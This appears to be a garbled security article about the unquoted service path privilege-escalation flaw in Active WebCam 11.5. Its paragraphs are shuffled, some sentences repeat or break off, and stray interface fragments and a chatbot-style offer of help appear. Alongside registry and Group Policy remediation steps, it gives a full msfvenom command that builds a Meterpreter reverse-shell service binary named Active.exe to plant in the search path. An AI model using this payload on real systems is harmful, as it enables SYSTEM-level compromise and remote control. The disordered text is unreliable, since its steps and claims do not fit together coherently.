– Because the service will be executed as LocalSystem (the highest privilege level on Windows), the attacker simply copies the malicious executable to a location that Windows will search earlier. For example, they may drop C:\Program.exe or C:\Program Files\Active.exe .
Understanding the Vulnerability: Active Webcam 115 Unquoted Service Path
As the cybersecurity community continues to battle both sophisticated zero-days and simple misconfigurations, the unquoted service path remains a powerful reminder that sometimes, the most dangerous bugs are the easiest to fix.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe-service -o Active.exe Use code with caution. active webcam 115 unquoted service path patched
Conclusion
Administrators and users can verify the fix by running:
If an attacker has the ability to drop a malicious binary in an earlier folder (e.g., C:\Program.exe ) and the service is set to start automatically with SYSTEM privileges, the malicious binary will be executed in place of the legitimate service. This leads to privilege escalation, allowing the attacker to run arbitrary code at the highest system level. – Because the service will be executed as
In corporate or enterprise environments, Group Policy can be used to prevent such vulnerabilities globally. Administrators should deploy GPO restrictions ensuring strict Access Control Lists (ACLs) are maintained over core directories like C:\ and C:\Program Files . By blocking standard users from creating files or folders at the root level, the impact of any unquoted service path vulnerability is successfully mitigated, even if software installers leave paths unquoted.
For an attacker to leverage this flaw, they need:
The enclosing double quotes force Windows to interpret the entire string as a single path, eliminating the ambiguous search order. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10
The Active WebCam 11.5 unquoted service path vulnerability (CVE-2021-47790) serves as a powerful reminder that the most devastating security flaws are often the most simple. A missing pair of quotation marks in a software configuration can create a direct path from a low-privileged user account to full SYSTEM compromise. This vulnerability is now a documented part of the public vulnerability landscape. For organizations using Active WebCam, immediate action is required: update to the patched version or apply the manual remediation steps to protect critical assets. For security professionals, this case underscores the importance of proactive security testing and the value of tools like sc and WMIC in identifying and eliminating these deceptively simple but highly dangerous configuration errors. The timeline from discovery to patch may have been long, but the knowledge and the fix are now available to help secure vulnerable systems against this threat.
If you need help securing your network or validating your patches, please let me know:
Modify the value data by wrapping the full path in quotation marks. Before: C:\Program Files\Active Webcam\webcam.exe After: "C:\Program Files\Active Webcam\webcam.exe" Click and close the Registry Editor. Method 2: Patching via Command Line (Admin)